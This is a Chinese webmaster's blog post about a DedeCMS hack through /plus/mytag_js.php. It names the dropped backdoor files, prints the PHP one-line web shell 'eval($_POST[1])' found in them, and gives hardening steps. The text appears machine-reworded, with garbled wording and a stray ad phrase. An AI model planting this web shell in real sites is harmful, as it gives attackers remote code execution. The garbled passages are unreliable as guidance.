dedecms一向是很火的建站cms，首要得益于两大站长网的大力撑持;不外，人火长短多，cms太火了一样会被别有专心的人盯上。我的网站一向在哄骗dedecms，前段时候又一次遭到进犯，进犯的目标很简略，那末就是黑链，晓得后轻微修正下代码就规复了，不是很严峻;这段时候网站又被莫名上传文件，雷同前一次，固然对方还没来得及修正网站模板，不外这解释网站平安防患还未到位，对方任甚么时候候都能够再次取得***权限，以是要稀奇留意网站的平安防患设施。
因为我比拟爱好追本溯源，以是就去网上找了一下相干的资料，发明这确实是dedecms的破绽，黑客能够哄骗***的变量绕过正则检测，破绽首要发生在/plus/mytag_js.php中，道理就是预备一个MySQL数据库来进犯已知网站的数据库，经由过程向数据库中写入一句话的代码，只需胜利写入，那末今后便能够哄骗这些代码来取得布景***权限。
联合我的网站被进犯已他人雷同的阅历来看，黑客写入的文件首要存在于/plus/文件夹下，今朝已知的几个文件包罗ga.php、log.php、b.php、b1.php等，文件的特征就是短小，内容很少，能够写入的时候不是很便利，不外这些代码的感化确实不小的。
上面这是ga.php文件中的局部代码：
no
eval($_POST[1])
?>
no
eval($_POST[1])
?>
no
eval($_POST[1])
?>
现实的代码比上面截取的要长，不外都是这段代码的重复，至于log.php的代码，同这个雷同，只要一句话，简略明晰，假如你对搜集平安稍有明白，那末会晓得是php一句话木马，哄骗局部指定的对象能够履行这段代码，估计是破解暗码的功用。
既然已晓得对方是哄骗甚么样的破绽，同时晓得对方哄骗甚么样的道理来哄骗破绽，那末要怎样防备这些危险的事发生呢?经由查询少量的资料，我开端收拾出上面这些防备破绽被哄骗的步调，进展对一样合用dedecms的站长同伙们有所帮忙。
一、进级版本打好补钉设置目次权限
这是官方对此的管理设施，不管你哄骗的是甚么版本的dedecms，都要及时在布景进级版本主动更新补钉，这是制止破绽被哄骗的最首要的一步;同时官方还供给设置目次的方式，首要是设置data、templets、uploads、a为可读写弗成履行权限;include、member、plus、布景管理目次等设置为可履行可读弗成写入权限;删除install及special目次，具体若何设置见官方解释。
二、修正admin账号及暗码
黑客能够是哄骗默许admin账号，随后揣摩暗码来破解的，以是修正默许的admin账号极度首要，至于若何修正，方式良多，品牌网站定制，比拟无效的是用phpadmin登岸网站数据库，找到dede_admin数据库表(dede是数据库表前缀)，修正个中userid及pwd两项，个中暗码幸免要修正成f297a57a5a743894a0e4，这是默许的暗码admin;修正后去布景登岸，登岸dede布景后修正暗码。
三、另外,值得留意的处所
至于更多的细节，一样要留意，尽可能别挑选太低价的空间，太低价的空间很等闲涌现处事器自己的平安题目，只需处事器涌现题目，全部处事器上面的网站都没救了。另有就是，假如没需要，尽可能别守旧会员注册甚么的，哄骗起来很费事;至于网站布景目次，不要写到robots.txt内里，同时每一个月最少换一次，***暗码甚么的一样要替换，制止和另外,账号暗码沟通被揣摩出来。
经由这几回网站被进犯的实例，不得不说，互联网不是一个能够放心睡大觉的网，作为站长，算是织网的人，更应当重视搜集平安;只需依照恳求去做到了这些防备设施，不说100%，最少95%的能够不会被顺遂取得布景权限。